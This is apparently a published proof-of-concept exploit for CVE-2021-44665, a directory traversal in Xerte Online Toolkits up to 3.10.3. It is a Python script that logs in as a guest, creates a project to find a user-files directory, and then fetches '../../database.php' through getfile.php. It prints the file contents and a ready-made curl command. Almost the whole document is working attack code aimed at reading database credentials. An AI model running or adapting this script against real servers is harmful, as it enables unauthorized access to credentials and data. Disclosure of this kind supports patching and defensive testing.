Xerte 3.10.3 Directory Traversal

`# Exploit Title: Xerte 3.10.3 - Directory Traversal (Authenticated)  
# Date: 05/03/2021  
# Exploit Author: Rik Lutz  
# Vendor Homepage: https://xerte.org.uk  
# Software Link: https://github.com/thexerteproject/xerteonlinetoolkits/archive/refs/heads/3.9.zip  
# Version: up until 3.10.3  
# Tested on: Windows 10 XAMP  
# CVE : CVE-2021-44665  
  
# This PoC assumes guest login is enabled. Vulnerable url:  
# https://<host>/getfile.php?file=<user-direcotry>/../../database.php  
# You can find a userfiles-directory by creating a project and browsing the media menu.  
# Create new project from template -> visit "Properties" (! symbol) -> Media and Quota -> Click file to download  
# The userfiles-direcotry will be noted in the URL and/or when you download a file.  
# They look like: <numbers>-<username>-<templatename>  
  
import requests  
import re  
  
xerte_base_url = "http://127.0.0.1"  
file_to_grab = "/../../database.php"  
php_session_id = "" # If guest is not enabled, and you have a session ID. Put it here.  
  
with requests.Session() as session:  
# Get a PHP session ID  
if not php_session_id:  
session.get(xerte_base_url)   
else:  
session.cookies.set("PHPSESSID", php_session_id)  
  
# Use a default template  
data = {  
'tutorialid': 'Nottingham',  
'templatename': 'Nottingham',  
'tutorialname': 'exploit',  
'folder_id': ''  
}  
  
# Create a new project in order to create a user-folder  
template_id = session.post(xerte_base_url + '/website_code/php/templates/new_template.php', data=data)  
  
# Find template ID  
data = {  
'template_id': re.findall('(\d+)', template_id.text)[0]  
}  
  
# Find the created user-direcotry:  
user_direcotry = session.post(xerte_base_url + '/website_code/php/properties/media_and_quota_template.php', data=data)  
user_direcotry = re.findall('USER-FILES\/([0-9]+-[a-z0-9]+-[a-zA-Z0-9_]+)', user_direcotry.text)[0]  
  
# Grab file  
result = session.get(xerte_base_url + '/getfile.php?file=' + user_direcotry + file_to_grab)  
print(result.text)  
print("|-- Used Variables: --|")  
print("PHP Session ID: " + session.cookies.get_dict()['PHPSESSID'])  
print("user direcotry: " + user_direcotry)  
print("Curl example:")  
print('curl --cookie "PHPSESSID=' + session.cookies.get_dict()['PHPSESSID'] + '" ' + xerte_base_url + '/getfile.php?file=' + user_direcotry + file_to_grab)  
  
  
`